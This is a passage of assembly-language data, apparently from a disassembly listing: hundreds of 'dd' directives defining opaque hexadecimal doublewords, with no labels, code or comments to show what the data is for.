		dd 0E2C64C2Ch, 8D0DBE00h, 0E9A39E80h, 982D1300h, 0ABED10D9h
		dd 0ECEB012Eh, 0FFDB051Ch, 2472F0BAh, 758AB801h, 8AC32B6h
		dd 0CB2A8DCh, 80FECBEAh, 7900CF80h, 0F205B444h,	70C37Ah
		dd 9C69223Fh, 0C7B68E0Bh, 86307F00h, 3B998A93h,	0AF475CFAh
		dd 3CB90076h, 0E74AD02Ch, 7B1CB608h, 61008481h,	85AD9D1Dh
		dd 0F97500FAh, 0D3F490BAh, 38001EA8h, 945819BCh, 3C8ED88h
		dd 0A796BDF7h, 81884AE5h, 0C4A024E0h, 0F8BF9811h, 7AAE03A0h
		dd 0AD4C7415h, 8165B000h, 0A8C1DB40h, 3B2EFCDEh, 700F846h
		dd 0EE399FE9h, 5A00BE81h, 0F06E0DD2h, 3BF80EFBh, 0C380664Fh
		dd 774ABAFAh, 0B50218E4h, 0D0745F10h, 9A144063h, 0EC3E0026h
		dd 4167648Bh, 0FC008337h, 0EE4E5E12h, 0B4C89h, 0BB11528Dh
		dd 4DCDD658h, 0BAA06500h, 2DAB8EDAh, 1C49001Eh,	9BB28173h
		dd 0C5F41020h, 0E063DC00h, 5CC166E7h, 7009095h,	0A7578619h
		dd 9820FB6Fh, 153E5E40h, 1A0260C0h, 0E0339B65h,	0CAEF0E49h
		dd 0D4E06DE8h, 4DA0E6D0h, 3B7BEE00h, 822662C2h,	5FAF0910h
		dd 60006740h, 1AD5980Ch, 0B331E914h, 0DFC107BCh, 8CC0D2C2h
		dd 0CEF605h, 7D19951Dh,	0B20937C0h, 0AFD92C03h,	0A0DF58BEh
		dd 20103Ch, 0A8856705h,	0F97E471Bh, 5AD7E100h, 0D126BBD6h
		dd 0FF9600BAh, 990322F4h, 701C7CF7h, 0E04AF0E3h, 741EDC53h
		dd 0BB9B2384h, 101E3907h, 3B3F9A5Eh, 94FA7F00h,	2CD0BDCBh
		dd 0AAE400EBh, 5527233Dh, 43BA1C5h, 1C4BE47h, 0BE61B322h
		dd 0D1D88E83h, 0DAFB00D9h, 0E08D3032h, 0E608106Ah, 0C0E15FF8h
		dd 55869AE4h, 4CBA2C0Fh, 0EEDB40AFh, 38EC1CCh, 0AB413EB8h
		dd 0FAA8395Ch, 2D1EEFC9h, 0AF806F95h, 23BA094Ah, 46CD0051h
		dd 6E2CAAD3h, 4F28EBF2h, 2800B093h, 0B19CE1FCh,	0B14BEB7h
		dd 2B908DD4h, 6099BEE3h, 0D0A82020h, 0FD5353Eh,	0E5C1048Eh
		dd 0AA004DDEh, 0E13A8CF1h, 3C9C2CA1h, 6C610014h, 0CE1A8811h
		dd 241BDC24h, 0C4D4803Ch, 427B956h, 0AEF900E5h,	8DF4D9FCh
		dd 0A4002075h, 0D5E1FA74h, 0AA9D7h, 8E1405E7h, 0AEEA834Ah
		dd 56DF841Eh, 47694502h, 0E65CC8E3h, 0C9FB00E8h, 40422337h
		dd 0D001078h, 22AF2C3Dh, 0E46C8B39h, 0DF25028Ch, 7B1F76F6h
		dd 9EE64860h, 0CA367003h, 0B02F8E04h, 48BCB974h, 60001C8Ch
		dd 0B895A13Dh, 77180E2Eh, 0E771A04Ah, 63F630E6h, 0E0DDD7E8h
		dd 0F5792902h, 0C055385Bh, 56A8A0h, 2B616226h, 0A1B2CD43h
		dd 0B1AEFA01h, 2488284h, 0EF9CE8h, 8F6D2480h, 57E987A0h
		dd 3762BE00h, 0FD130645h, 215F003Bh, 0AAB7A72h,	2D7714FCh
		dd 264AA260h, 0D40DDDh,	99EC11BFh, 0ACBE7E4h, 40AA2800h
		dd 266C5747h, 689F4C80h, 1201BF00h, 84356F34h, 6E0ECC00h
		dd 0BF208CAh, 0AD2400B0h, 0FBD82B9Ch, 0E098791Ah, 0C1A84224h
		dd 1C012326h, 32668788h, 1F75C8h, 3754B8ECh, 0DCF892D7h
		dd 45C52B07h, 0AC93CBD2h, 7E7AE914h, 23206C61h,	74BC06A7h
		dd 20D964D5h, 72AD75A0h, 54439B24h, 0B4B94800h,	734D8E22h
		dd 85F263h, 0E8659F3h, 0FD6DE036h, 5A677A01h, 0CFDA4719h
		dd 4E0660h, 8745EB6h, 2181DEA7h, 0E2EB05Ch, 0EC200B0Ah
		dd 92F8D1h, 6E32933Fh, 0B751C7CDh, 84033377h, 0A467B52Fh
		dd 0EEEC9878h, 13821CC4h, 57C20B17h, 6340550Eh,	232BACAAh
		dd 8F060B1Eh, 424191C0h, 729D61FAh, 0B5960090h,	8E43AA02h
		dd 1600F673h, 1EF9EFDh,	9AF4A5Fh, 53ED7BBh, 5478B480h
		dd 0DCE93036h, 8F07112Bh, 5B2E1E2Fh, 0AE4791E1h, 612830h
		dd 0C5E5E605h, 228702A4h, 0A5BADA00h, 4CF31473h, 6AA20052h
		dd 89A4FD8Dh, 0DA02EFACh, 3ACA8BB0h, 90617747h,	0E38CD46Bh
		dd 539AA204h, 28C0DF64h, 0E89C0Eh, 6B6925D1h, 0D36D4087h
		dd 2DB51407h, 5EB0EE77h, 398B5165h, 0B1805962h,	81976085h
		dd 67002DC4h, 0F0067670h, 0A0EE2069h, 73B990E4h, 79070052h
		dd 0CBC70F1Dh, 3D00E966h, 0F81C9F91h, 71F29835h, 2810BDFh
		dd 84D750C5h, 4885DBD8h, 0BA84D000h, 0A56057h, 632B763Fh
		dd 43E07FD8h, 0FB00487Dh, 1D5D2CC3h, 0DCBC8Fh, 82ABE65Ah
		dd 3D57F822h, 81ECDD38h, 0B91C3A6Eh, 56D8920Bh,	4C09002Bh
		dd 438645D6h, 3000EE76h, 0AE3E3DB2h, 0B122FA6h,	0DC524826h
		dd 880AE409h, 36310020h, 6606A728h, 341D2500h, 1103BED4h
		dd 0BCE40043h, 936791DBh, 4B00A17Bh, 6B71305Ch,	751913F1h
		dd 54EE57h, 29BB911Fh, 63813FE0h, 760FA800h, 0ABD9F59Dh
		dd 0D65C0033h, 0C3600AD5h, 42092018h, 809250BEh, 0D7E3DEC4h
		dd 0E18C7B81h, 0B075C3D4h, 0D4DD0052h, 0CD7D856Ch, 2B00534Bh
		dd 0FF7B868h, 2E2457B5h, 0A4318Ah, 0D7CCD150h, 6FE2129Eh
		dd 0F69A2907h, 42378A35h, 633B4CF0h, 969F0036h,	8C041601h
		dd 1551A046h, 0C8C0EC88h, 0ED0024B1h, 0A573AA35h, 0E7D7007Fh
		dd 0AEB6F9ACh, 1C26CA48h, 0B8001C1Fh, 19163727h, 0E13B0EA1h
		dd 0F6C2A786h, 0C8662Fh, 8424D263h, 0F5036CB2h,	1E4EF25Dh
		dd 0C1CEFAh, 7B3F43B5h,	0FE7B6F8Dh, 17A30600h, 491AE5D5h
		dd 29E61CEDh, 144F063Eh, 2A0268B2h, 6CF8E92Ch, 0A54E4083h
		dd 5733014Eh, 596F3D49h, 36DECBBh, 0C3DF5503h, 89F5E24Fh
		dd 0A3DCFD68h, 0B1970019h, 3565C4E6h, 0DAF25B92h, 0BB396AE0h
		dd 639301F7h, 0CE62FDFBh, 3803A0E0h, 0DD009461h, 0E4BCD56Dh
		dd 5800FA07h, 0BF6CED63h, 1D69A126h, 3C2E81h, 9B1CEFA4h
		dd 80A84777h, 703C4CE2h, 0FBAF00D4h, 92C027A8h,	0BF1A0005h
		dd 0D7745DCCh, 980AB235h, 0E4190AF7h, 750AECA6h, 0ED80E418h
		dd 1C87FB1Ah, 85F81293h, 0DBBC02E5h, 7052CABBh,	68D61604h
		dd 0A8800643h, 0F3B56F9h, 0D9F84893h, 14A7C2DCh, 3CC87901h
		dd 5403BA4Eh, 0B9FA2F76h, 6F5001EFh, 0CEBFD3AEh, 0E7C0F385h
		dd 4A01106Bh, 33A8F26Ah, 34BE8Bh, 411E3CDCh, 687C5B00h
		dd 0C7D7EA59h, 6A799818h, 0D3B120h, 0F179334h, 6D0CB2BDh
		dd 0D80226h, 57603F00h,	0F883264Dh, 275B003Ah, 0AD366623h
		dd 0C93ADF33h, 3F6B01F4h, 0B8353121h, 2440F361h, 780ECA14h
		dd 0DFA3005Eh, 0CB831FF5h, 8F00439Fh, 470331A6h, 0C209FEh
		dd 7032DD9Bh, 1B1D44C0h, 71977500h, 73FE2B2Fh, 0CAC403C9h
		dd 607457C5h, 9B1FB004h, 54B41392h, 406758B8h, 28DA26h
		dd 0E37F11Bh, 7FEA88AAh, 955F1F00h, 0FC947C97h,	66F00039h
		dd 7432ACDCh, 2A7636F6h, 43D83500h, 0EE3ED5Eh, 0FD570026h
		dd 73C7F9B3h, 677EBA3Ah, 0F041D700h, 29E11DE7h,	0A8B8CCh
		dd 0C08EA3Eh, 0D898E06Ah, 7E49810Eh, 0C2FF604Dh, 3C6C00Fh
		dd 3B855DC5h, 3EE8E546h, 0AE051DBFh, 0E3A9190Dh, 0F1812093h
		dd 7CC47C2h, 3F650063h,	930C143Ah, 0F2E45377h, 6ECA8500h
		dd 4C68821Eh, 0B37A008Fh, 275A6A2Bh, 36004B57h,	812CE8CBh
		dd 2473F984h, 80644h, 0EC217BAEh, 0A6004119h, 0FDA68CAh
		dd 0C2F8DDh, 99FE0C6Bh,	56C6F142h, 23E88F00h, 0B620F481h
		dd 0ACCE0EC4h, 34400FFAh, 70687F3Dh, 1465C526h,	10D34082h
		dd 4E602080h, 0AA00C083h, 0C35AE6D1h, 9BB8A6Dh,	2077584Bh
		dd 89BDAC80h, 1E008422h, 0F4C75591h, 5837D665h,	3600102Ch
		dd 31CF7371h, 8C3BC6EBh, 8618E0E9h, 0D0611Fh, 0D4366ADDh
		dd 5AFA4EA7h, 0A62D7A09h
		dd 0F910004Bh, 7040F2ABh, 0DFE10070h, 0CFFDED2Bh, 3E3A3ADBh
		dd 71950028h, 0BDB281DDh, 60C51D5Eh, 7D86003Fh,	0A64FAA5Fh
		dd 0E81E7F75h, 0F9871CDEh, 89BBF1BAh, 0A2328074h, 0F83BE1FCh
		dd 1E1A00AEh, 32E6D69h,	0E1EEF4Ch, 0A20A5612h, 0E0B9FC9Eh
		dd 0BF4FC538h, 30C758E0h, 57B86C00h, 0EE55719Eh, 45220103h
		dd 0A0ED14BEh, 1F413D89h, 3D1A9313h, 0D8AC3080h, 0B5F39697h
		dd 7891B0A0h, 0F17B5672h, 0CF167200h, 0A3FBE449h, 27230047h
		dd 1DDA9302h, 7800B221h, 82B81FD5h, 5C8A77BAh, 6600B536h
		dd 0B13CD7DBh, 8312EA15h, 100202D4h, 7A788B9Eh,	5D7B48h
		dd 0AF544AEFh, 5340706Dh, 0A14E1100h, 0B5347B17h, 5310133h
		dd 797832Bh, 28E3F9E9h,	0BE250E08h, 5D3000A6h, 1FD43375h
		dd 0A1FB36h, 343A9F4Eh,	472CF826h, 0E4023889h, 50D3B942h
		dd 0E6E903F8h, 7D7BDD2Ah, 9BC4F00Fh, 3403B233h,	9438562Eh
		dd 83F1ACC0h, 7FBD3C1Fh, 4EDAEE80h, 0CA197DA3h,	35BEA700h
		dd 8A2EC208h, 8EA81E33h, 2005009Bh, 9FF8D9B2h, 0D53D6B05h
		dd 0F08056B6h, 39AB58h,	5A4A4DEAh, 0F7B7952Ch, 5B30113h
		dd 0EF367440h, 9852E558h, 247B7AB8h, 0C295E2Ah,	15B808B2h
		dd 607F818h, 1278930h, 0FE01BC48h, 0DD428239h, 0F2844070h
		dd 1C00516Fh, 0F5ABD819h, 3AE60D5h, 996B8B43h, 70A94EA4h
		dd 87E4E028h, 2D063001h, 0C76FCD94h, 191B53D8h,	0E0E10CF6h
		dd 4CD3D47Eh, 4100D49Ch, 0C33F36DEh, 0B137872h,	0B818920Eh
		dd 68FC18C0h, 53BBCB1Fh, 7F553907h, 86698EB0h, 54F700E8h
		dd 7885CF64h, 2B001C6Bh, 0C3B3AFF2h, 0E0034002h, 305E0422h
		dd 0C0ADC98Fh, 10C63C78h, 0BC2A3405h, 2180EA3Ah, 9D7A14Ch
		dd 39230C5Bh, 6587FA01h, 99D97024h, 0A9573030h,	7598F1h
		dd 15B51217h, 83CCB2EDh, 67871C03h, 0C85FC643h,	8154FDh
		dd 84BC1A51h, 0DA9C7B97h, 850056B0h, 0B6FAC73Eh, 359391h
		dd 99F7E78Ch, 0ABFE1069h, 20DE1825h, 0BDF83C90h, 9F110E14h
		dd 16E621h, 9836262Ch, 91F810BFh, 64001A90h, 0B2E141CAh
		dd 600970E6h, 0BB8B2854h, 731A5EE3h, 80309BE9h,	0EF5093FFh
		dd 7F10C09Ch, 2AA9B0D8h, 0C89A0428h, 256B8E27h,	0D890D198h
		dd 6D44967h, 31C489D3h,	2E00267Dh, 1084BDDDh, 510E26h
		dd 1D47B46Dh, 0BFB12B72h, 2533A70Eh, 0E034EF8Ch, 9D3B8F5Bh
		dd 260F0005h, 773FF3AEh, 7A5817D7h, 0BB240034h,	736A9658h
		dd 0FC99581Bh, 0FC0CA414h, 0F6AF830Eh, 444FD0E0h, 7700EF4Dh
		dd 9E626A21h, 4090Bh, 0EC2B5732h, 0EB24237h, 2024AD27h
		dd 6BB99518h, 0B01F4856h, 0DFC41473h, 260EDE68h, 7814B1D7h
		dd 0F67FB000h, 2F65B39Dh, 0FE701F0Ah, 42008087h, 8C84DC8Dh
		dd 45202569h, 0A5E33CB0h, 0ED87621Ah, 0D8C07F18h, 0E8A06AF1h
		dd 4758DC34h, 79C2648h,	0F83E6D00h, 0DD9F395h, 0EFA03FE1h
		dd 6001DCAAh, 497AEA01h, 0DE9DE27Fh, 26435870h,	5A869Eh
		dd 0EE35F6D6h, 0E40777F2h, 1E687021h, 14BF3310h, 98E51CE3h
		dd 28A4C041h, 84AA0AD9h, 0F8A00E51h, 4000168Bh,	0ADE7B22Ah
		dd 3F3DDCCFh, 2880424Ah, 0F7126369h, 9C09CB0Bh,	0B6E4EE4h
		dd 0B318A026h, 0F98E79h, 7B6BBABFh, 18484024h, 5577A0A0h
		dd 0D860E24Ah, 288DDE91h, 2CEAD98h, 0C223A112h,	64406D58h
		dd 641E3FD2h, 4024578Bh, 0BBECD700h, 841941h, 0EDB0E13Ah
		dd 4021836Eh, 7404AA4Fh, 8890DD8Dh, 1F8462Dh, 1705E7FAh
		dd 3008D20Dh, 3412EB9Dh, 570A09A4h, 0BA078836h,	405F1A01h
		dd 8B53A8CAh, 39F10444h, 80563DC7h, 8ADF32C6h, 58225A00h
		dd 0D55588BBh, 2BAF01DAh, 692AD336h, 0C0F4C715h, 0C0ED3522h
		dd 0B04D2400h, 0F3DC3E77h, 9A59004Bh, 75E3A4ADh, 3C0B29FAh
		dd 0A2DF9BE1h, 90C22728h, 269D738Ch, 80A0FB0Fh,	732A016h
		dd 3D0F2294h, 0A0F7BD93h, 1C1361DFh, 0B3490762h, 423A9EC9h
		dd 30E09284h, 0B00C470h, 83D9D64Ch, 3F36B38h, 332BA9BEh
		dd 5800697Ah, 0F0B0D1CBh, 0F6907CEAh, 72D00EDh,	0FE6EA9A3h
		dd 2E7E3C3Eh, 391F358h,	0D228C994h, 0D906C06Ah,	2D100026h
		dd 9669245Ah, 5F00A603h, 78881ADFh, 1F447BA2h, 80C48F77h
		dd 5595EFB6h, 0A9059A2Ah, 91E10D05h, 977360C7h,	47BBA816h
		dd 58D4136Dh, 231080E2h, 96008963h, 2720A4FBh, 0A83C2A2Bh
		dd 86D894h, 66F9D239h, 9E9AA99Bh, 0ACDEEB0Fh, 4EC26093h
		dd 125AF59h, 8691E826h,	0F9EB1E2Bh, 22D3F8C6h, 3F0070B6h
		dd 0DE052925h, 5F4F00D8h, 638B7670h, 0C2025EDBh, 9C7E927Fh
		dd 9A24789Ah, 0B054FE8h, 0F80A4424h, 30B105E8h,	0B018B4E1h
		dd 68E97B18h, 0F79EBF21h, 1020C3FDh, 4FD4B4A8h,	8C4DD08h
		dd 560D3444h, 0EBB44830h, 0BCA8144Ch, 0C501EC69h, 4FA1653Eh
		dd 9F6E70D1h, 141F121Ch, 0F6789480h, 0A8AECD09h, 0C1A5D8h
		dd 1D447739h, 4FF8BA9Ah, 3C46D00h, 0DED8F2DFh, 0BDAE3029h
		dd 0FCF32FB2h, 3CD058h,	0D653BF8Dh, 71A178C3h, 68863F20h
		dd 2498C0D4h, 99FD46h, 5AE65E28h, 1E09B05Fh, 81925368h
		dd 626F32D8h, 5D25F4h, 0ABE412B3h, 968186D3h, 0CD006576h
		dd 0E8377C67h, 289455B9h, 8C0598Fh, 5F1C1F4Bh, 6FBFE060h
		dd 268C9068h, 61CDECh, 51F09F32h, 70004AAh, 2A210EE0h
		dd 0A035FF18h, 0A871BCh, 0C5E7F95h, 0F0346BBCh,	60E48000h
		dd 0E801BB22h, 7A2504FBh, 0C54B1B82h, 880FF5Ah,	13D851h
		dd 0BF73D2F2h, 9174374Ah, 80CA8E00h, 1E783176h,	0CB3E00DFh
		dd 220C1FF1h, 0FE0087B2h, 346DD9C7h, 608D8EE0h,	996E665Ch
		dd 89001DB6h, 5603A773h, 92E5B8h, 2A16CD6h, 0ED8C4B47h
		dd 0BAD0CF3Ah, 988A0053h, 0AFB86630h, 649276h, 7D57B00Bh
		dd 0A6FCDA55h, 0B4F60302h, 5607E1E2h, 0D6A5027Ch, 0E1406862h
		dd 6900404Ah, 9B646F8Dh, 5E896h, 8B02992Eh, 0A91BF3A0h
		dd 75FD3848h, 0ABCB300h, 2378CE01h, 4BB9002Bh, 2F381ED6h
		dd 4A4A57ABh, 9708BC00h, 87B045h, 81C6BED8h, 550E27F9h
		dd 0E020C76Eh, 658E1B4h, 874318D3h, 0CB01990Ch,	13C4894h
		dd 0C16C3FE4h, 55D0EFE2h, 65AE075Ah, 0C19FF8BBh, 3448FF16h
		dd 40571DCh, 0C1BCE185h, 0D7014000h, 0ECF948h, 2EB734DFh
		dd 392AB452h, 0F5E86701h, 0C2BC1831h, 0F8171841h, 59C62841h
		dd 5C4FB08Eh, 40BD3085h, 0EAD6CF2Ch, 0E51DA50Fh, 220090F8h
		dd 1A92CAB1h, 213300F7h, 127295B3h, 0C5003965h,	0E109AAA4h
		dd 1E7FF0h, 77C0DFADh, 2E2A3C18h, 9D8DBC02h, 551F1990h
		dd 6974B960h, 0D600BA75h, 8DE91A64h, 2C73C93Dh,	758EB8h
		dd 0BF0F94DBh, 201D3174h, 0E7802C2Ah, 52495785h, 77A200C1h
		dd 4E39D77Dh, 0B600087Bh, 7F45317Ah, 294066h, 0FD1F4C42h
		dd 82E7965Eh, 0CCB5706h, 1DE183A0h, 577B30DEh, 47721F2Fh
		dd 43417F17h, 200ECAFFh, 407B3AD7h, 0AEE07EE9h,	0C2DB48BEh
		dd 466E1400h, 0B3602DF9h, 0B6D46350h, 6CAA9E1Fh, 3132BC3Bh
		dd 150118DCh, 6497B440h, 0A4B806BCh, 40138AC7h,	99CCA395h
		dd 0D9100AEh, 4B435C61h, 95004D6Dh, 82ED6352h, 3018CDA5h
		dd 73380B36h, 1C92C13Bh, 26F1111Dh, 4218CC00h, 0E466D7Bh
		dd 78DA41FFh, 7A60B72Eh, 6411F519h, 685D1D00h, 932FD92Ah
		dd 31450087h, 50E40D72h, 0D41E076Eh, 0F200F9EBh, 5A2C9A57h
		dd 8DC900B9h, 93F1B835h, 132E9F85h, 6905FD6Ch, 87185AC0h
		dd 0C3955709h, 0C45DB320h
		dd 821A49E9h, 0D48AF310h, 0B57B403Fh, 0CF2B03AAh, 54711951h
		dd 0A7694980h, 1A01227Ah, 42A01B7Eh, 3880843Dh,	2F5A6593h
		dd 1603FBB7h, 90068108h, 6EA307h, 2F633821h, 1615EEECh
		dd 4D00EF77h, 0DFFA3D71h, 0C772D18h, 858DCBB3h,	92040B71h
		dd 0C7020152h, 0FC93A118h, 1D7D1F00h, 0AEFAB960h, 4548A95Ah
		dd 2F1F6118h, 790FBB8h,	2E8A37B0h, 2BC7F600h, 7A611CABh
		dd 0CF6C01D8h, 0FE1D159Ah, 852880B9h, 233722CAh, 91251859h
		dd 1CB62074h, 0CEFAA01Fh, 0FC80A558h, 0F0470012h, 1ED26164h
		dd 0C91D7797h, 70C07485h, 63D8E21Ch, 33B9A0B6h,	6E4E3D3Ah
		dd 0BC521B00h, 0DCD0936Ah, 0C4D18B51h, 0F3008E7Fh, 774F9D91h
		dd 21E53Fh, 4213B9DBh, 0FD2D05DCh, 0D601E4E8h, 3ED38902h
		dd 0D530749Ah, 5BB1F29h, 0C75ADDC2h, 20795F0Bh,	2FCAAE87h
		dd 0BAFB2E00h, 4B3F23ACh, 0ADA003A5h, 6C0BFC4Ch, 28C27BF3h
		dd 0D6E006C0h, 701C3F00h, 0EE7A4CD1h, 5BC77D8h,	0C772ABFBh
		dd 0BB042A91h, 8BEBC400h, 6EF61ECh, 43E91C00h, 582FF68Ch
		dd 2A0E00D4h, 0EDB7D2AFh, 111E8B97h, 151DAEECh,	0EE03073Eh
		dd 0DEC04682h, 71060AEBh, 0D23904E4h, 813C5FE8h, 0F04C1285h
		dd 3E025EF1h, 47E9B372h, 0F40E08Ch, 61F3018Bh, 5BB2D5ACh
		dd 0EEB4E0EAh, 26A03Fh,	0BA8FE483h, 0CD37B64h, 5B8866BDh
		dd 140343B8h, 83F730FCh, 3219B0C1h, 786E70F0h, 1F6600CFh
		dd 43926095h, 29DEF251h, 0B840861h, 1A82C390h, 19022C28h
		dd 6342215h, 8E216724h,	828D122Bh, 240D4228h, 2F73216Bh
		dd 1482D112h, 0C82F055Dh, 2E3C8890h, 8884A590h,	42934802h
		dd 0E924498Ch, 12AFA021h, 42781177h, 648FDD50h,	3B94B168h
		dd 537F1114h, 6608E121h, 843F9008h, 0B5404D4Eh,	0F53218E7h
		dd 7942B600h, 60241922h, 0D7FB0029h, 6B4EEDCCh,	0CDE44528h
		dd 14BF8800h, 50D52E39h, 32330099h, 936B91F2h, 0C00F413h
		dd 175CFDF9h, 7562ACh, 0ADE8C04Ch, 11E784BEh, 243BE5E4h
		dd 7A9B07DEh, 80BBD156h, 1E2C9C4Bh, 0D800077h, 7D92A7A9h
		dd 9800ECD9h, 41B9147Fh, 5C3AB2h, 949C7112h, 0FE64BFAFh
		dd 9AA82600h, 2B88992Ah, 42F4BDh, 2475D209h, 6BE47205h
		dd 16DEE718h, 181FA11h,	20C095B1h, 0BECEF81Fh, 6A698019h
		dd 2C68BFE8h, 7AD400BBh, 4C30A6CAh, 0B8F8429Ch,	0F18A6403h
		dd 9009FF73h, 7FF450h, 1612916Dh, 0BA7EDF3Eh, 94F8D478h
		dd 0F06BF809h, 5BC400AAh, 48CB34A0h, 423BAA52h,	55B3C380h
		dd 3897F2A6h, 0D80F3200h, 0BA9E648Dh, 0CFB0034h, 15934222h
		dd 0DF3C06A7h, 5D4A8047h, 54FD9577h, 0F482006Ah, 73E313BEh
		dd 8000AE7Ch, 101F1E24h, 30EC6412h, 0BBD82D03h,	0AA6057FBh
		dd 9CA7CE20h, 3B890130h, 0A55B9043h, 2B02F013h,	867F1E0Ch
		dd 7F41B0ACh, 8E3F0039h, 2ED625E6h, 60E31F1h, 0E71B66FFh
		dd 75B062E4h, 1446471h,	94F5099Dh, 0E8468F9Fh, 7A14EF2Ah
		dd 3D0B262h, 0A199D1F9h, 1FABE0F7h, 0B77FC1h, 721BEC0Dh
		dd 3C2F9349h, 0F5994E00h, 9C620767h, 0DCA7025Ch, 2ABE6EF4h
		dd 0DF239180h, 4003BC1Bh, 757B981Ch, 0C6D3C3CAh, 0C2CF00D8h
		dd 0D874445Ah, 0A5008B82h, 35A489BEh, 0F888D21h, 0DAF56B0h
		dd 9E1C8C40h, 1B052847h, 0C20125AAh, 0D65A80FEh, 0DF005986h
		dd 0A165AB7Ch, 3F5442E7h, 6807261h, 0B587BCCDh,	0E40055A9h
		dd 2913F578h, 0EB123h, 0D0BED6DFh, 0BC3B2BF3h, 9E93D91Fh
		dd 30388641h, 0B0215088h, 262B87E4h, 74584Fh, 53D4273Eh
		dd 0FFB0CEB5h, 62609200h, 4D838717h, 998E00A6h,	47974630h
		dd 0AA4890B3h, 576D001Dh, 0EAD2704Ch, 0B1BD00A1h, 0A9F30A3Eh
		dd 4100D531h, 0DCBF1521h, 349F8Dh, 4C2D7E8Bh, 8612C7B7h
		dd 82F4B571h, 0B148A01Ch, 0E6C46800h, 0B253A3h,	33EA3C49h
		dd 0D0CF8F96h, 28125A00h, 0FE1F62EBh, 1E72ECD4h, 80067E3Ah
		dd 42CB7B8Ah, 402943Dh,	502B98B0h, 1B25462h, 0C640141Eh
		dd 7D99EC4Eh, 5D05FE78h, 8E93B7D6h, 83534C80h, 20AE24F9h
		dd 2A1207A3h, 0A09C17A9h, 0EF0CDF1Bh, 1F2EE7E4h, 0BE1E7FDEh
		dd 0F6FBE041h, 30279Eh,	970E0053h, 99819BBDh, 5200FFA3h
		dd 0E232631Bh, 254E198h, 44E30334h, 3960DF95h, 65006635h
		dd 0FDA7462Ah, 0FE62F1h, 78DCC749h, 77375DB2h, 0C504107h
		dd 56848FD0h, 0C71B24C0h, 0D080ED5h, 7A08E47h, 0EC5E9A02h
		dd 0F2EBD400h, 9D987E24h, 3C0100EDh, 35403D27h,	0F600B4E0h
		dd 33CE7842h, 0B0C3DF1Fh, 849400C8h, 27F2381Ch,	95124BBDh
		dd 14009966h, 0A4927865h, 0F198002Ah, 0C91BE68Ch, 0B800746Bh
		dd 4D1CCCAh, 342D87h, 9B8A277Fh, 46753026h, 577E0C07h
		dd 2FA008B9h, 7704AFE9h, 5F67128Fh, 0FE640A93h,	3B100C1h
		dd 0FAC216D1h, 0CF976E00h, 679F513Bh, 851813E0h, 0AA6400E7h
		dd 0BEEAB141h, 0CA3F4C26h, 59000026h, 480BCA06h, 0ECD13F89h
		dd 428FBD01h, 0EC0CBC9Ch, 0FB39792Ch, 8C118027h, 92B3E1CCh
		dd 0D4750042h, 4664BC37h, 0A700351Ah, 0B9C42645h, 137D4318h
		dd 0EFBA0870h, 0B284E300h, 9A6BD91h, 0E1ECD4BCh, 93A2B700h
		dd 0D2FE02A9h, 92ECD05h, 0C482A55Ch, 8024438Fh,	24064A30h
		dd 786AACh, 2E97BB6Fh, 0E20FEB3Bh, 0E0391E3Ch, 13DDB192h
		dd 0CD320195h, 6B3F5BE1h, 7C65D4FAh, 31643Fh, 0E63D672Eh
		dd 0E2D4B5CAh, 0A1F6003Fh, 5FB92B9Bh, 0A000562Ah, 92D0C0Eh
		dd 0EDAF088h, 2A7539Fh,	0DEB38DC0h, 500049C0h, 9ED230A4h
		dd 1F0ECAD4h, 5DA8C3h, 7BD87141h, 2F0E67B2h, 802C1A53h
		dd 0E6AC8C95h, 0C2AD2612h, 0C0D80062h, 0F53E5C6h, 977B681Eh
		dd 1900F61Eh, 0A9829652h, 29310088h, 0BE08A026h, 0E700AE5Fh
		dd 3BFBC397h, 7B5E5668h, 0B25045Bh, 80C013F1h, 11C5C83Ch
		dd 0E933A400h, 7D9656B1h, 0B5EA00CFh, 0D83EBC30h, 9E01DC4Fh
		dd 0FD60E040h, 0A0CB83A2h, 0D9DD7Bh, 633F62B9h,	6AD4CB5Ah
		dd 65AD3A00h, 0C5577DB5h, 0FB661D4Ch, 0EE214291h, 0BE60368Ah
		dd 0C63DAAF5h, 0B2B300A6h, 0BBAC7583h, 74A916FAh, 565C0077h
		dd 0CA2D702Fh, 9C0098B0h, 7F238193h, 99483Dh, 0DECFC0AEh
		dd 0F40B63DDh, 68F958h,	0A139E0D7h, 3EEB34h, 0AC7376CBh
		dd 0CCF071F7h, 2087F91Dh, 6BD98500h, 0A988E4h, 57C4D50Ch
		dd 0A89E7B97h, 55BA4D07h, 240C066h, 281CF67h, 59849C4Bh
		dd 9660ED8Ch, 201F28C5h, 15804D85h, 6367C745h, 0D57000EEh
		dd 2FC45D44h, 431C25BEh, 0FF00BCE2h, 6F96BB7Ah,	0A8B10F1Eh
		dd 0A4207215h, 0EF7390F5h, 0B6506500h, 8E495FBAh, 200200C8h
		dd 0FF3FD8Ah, 40008459h, 63514F28h, 38B998BEh, 4E3922BBh
		dd 0CF0057BDh, 8CE2DD9Ch, 0AB3C4751h, 80F88561h, 0D480A5ECh
		dd 0DB3C5Dh, 0C20DF3C0h, 0AE095C20h, 13FEB71Eh,	31AB1840h
		dd 0F3776Ah, 7121E948h,	8EFB4996h, 76B62300h, 510D734h
		dd 7D6A009Dh, 0F019BBC8h, 1D072FACh, 0ED1B651Ah, 293BDF40h
		dd 5F74008Ch, 7F2007FCh, 840F8D69h, 0E20C9CFBh,	609A57CDh
		dd 599C9CCh, 72AD36EEh,	0AB54886Ch, 22084C01h, 574A0B3h
		dd 2CCF92ECh, 9A467Ch, 35A5D95h, 0DB0038CDh, 3C59AC8Bh
		dd 3B8C3Fh, 8570641Dh, 0AB444283h, 0C04C2C01h, 87E6F650h
		dd 0D65C30h, 416C3EE3h,	40C22BDEh, 6826C900h, 16103D34h
		dd 46663A8Dh, 1E0AF207h, 5949E0B3h, 0BB0098DCh,	2F1C90D2h
		dd 4E4D32h, 0B47681D3h
		dd 1651316Bh, 4453080Bh, 0AC78008Ah, 1DA352Eh, 340DC8Dh
		dd 0FCF4A5B4h, 0C6725BCEh, 2ECC7700h, 6140279h,	8CCF0022h
		dd 7C63DA27h, 0D10EE320h, 60D6FC25h, 8623AF45h,	36B72FBh
		dd 3F9C9FD5h, 77AA1EDEh, 7B516155h, 39D7A9Eh, 735DD22Eh
		dd 61254DC0h, 5A9751Ch,	7F49AAC3h, 6815D059h, 39D7910h
		dd 9739F64Ch, 8394FD9Ch, 0EF882D10h, 3E004950h,	37EC3052h
		dd 0E84BEh, 0BBDA9D04h,	0C3477AA2h, 51F9B200h, 1AD9E7C1h
		dd 0C6B400E2h, 0A0258397h, 7C022D37h, 69CC1908h, 2A220FEFh
		dd 69E0F035h, 7616322Eh, 3800DB9Bh, 5B75586Fh, 0B2810112h
